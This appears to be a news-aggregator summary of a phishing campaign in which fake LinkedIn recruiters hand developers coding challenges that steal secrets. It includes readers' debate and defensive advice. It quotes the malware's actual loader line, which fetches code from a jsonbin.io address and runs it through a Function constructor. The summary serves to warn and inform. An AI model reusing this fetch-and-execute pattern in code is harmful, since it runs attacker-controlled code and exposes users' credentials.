conv.

All stories
SecurityQuiet 83d · day 83

Phishing scam poses as job interview, deploys malware via coding challenge

Attackers impersonate recruiters on LinkedIn, luring developers into running malicious TypeScript code that exfiltrates secrets.

newest coverage 82d agosummary written 82d ago24 pieces183 likes & upvotes165 comments Hacker NewsMastodonNewswires

What to know

  • Attackers impersonate LinkedIn recruiters from real companies and send fake coding challenges that execute remote code capable of stealing API keys, credentials, and environment variables.
  • The malware uses a two-stage loader: the fake project's npm run dev downloads obfuscated code from jsonbin.io, which then contacts a command-and-control server for further instructions.
  • Detection hinges on simple checks—verifying the recruiter's profile, confirming official company email addresses, and avoiding first-interaction coding tests—but isolation techniques (containers, VMs, firewalls) are crucial if you must run untrusted code.
  • The scam is particularly effective in crypto and startup hiring where unconventional recruitment and stealth company secrecy make phishing more plausible, and targets have high-value secrets accessible on their machines.

The dispute Whether official company email addresses are a reliable filter—some argue third-party recruiters and legitimate companies using Gmail compromise this heuristic, while others maintain it is still the single most important check. · positions read across 21 posts and comments

many voices

Candidates must take responsibility by isolating execution and verifying recruiter legitimacy.

  • “only interact with people using an official email address.”

    john_strinlai · Hacker News
many voices

Employers and the hiring process bear responsibility—legitimate companies should never ask candidates to run untrusted code without safeguards.

  • “A person who takes random things from a near stranger on the internet and runs it on their computer with no real safeguards is not a person I should hire. Which also means that your hiring practice should not involve a person you met on…”

    _carbyau_ · Hacker News
some voices

Crypto and startup job markets are particularly vulnerable because unconventional recruitment is normalized.

  • “this seems to be a major and real problem in the crypto job space. In their job market it's more believable that a 'stealth startup' is reaching out and doing a code challenge from an unfamiliar email or repo”

    mapmeld · Hacker News

“const initPriceConfig = async () => { const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d"; const res = (await axios.get(`${src}`)); const handler = new (Function.constructor)('require', res.data.record.model); if (handler) handler(require); };”

codedge, Security researcher · codedge blog

codedge Security researcherAttackers (unnamed) Threat actors

The record 2 articles and posts · last 30 days

  1. How to compromise your system with a job interview press · HN Frontpage · codedge · 83d ago
  2. 💼🚨 Ah, the joys of job hunting: where a # LinkedIn message is more like a covert mission to see how quickly you can… post · Mastodon · ngate@mastodon.social · 83d ago

What people are saying 21 voices from 2 sites · verbatim

Still unanswered
  • What liability do interview platforms and coding challenge tools have if they themselves enable malware execution?
  • How can candidates distinguish between legitimate unconventional hiring (stealth startups, crypto companies) and phishing scams?
  • Should job interview processes even require candidates to execute code on their personal machines?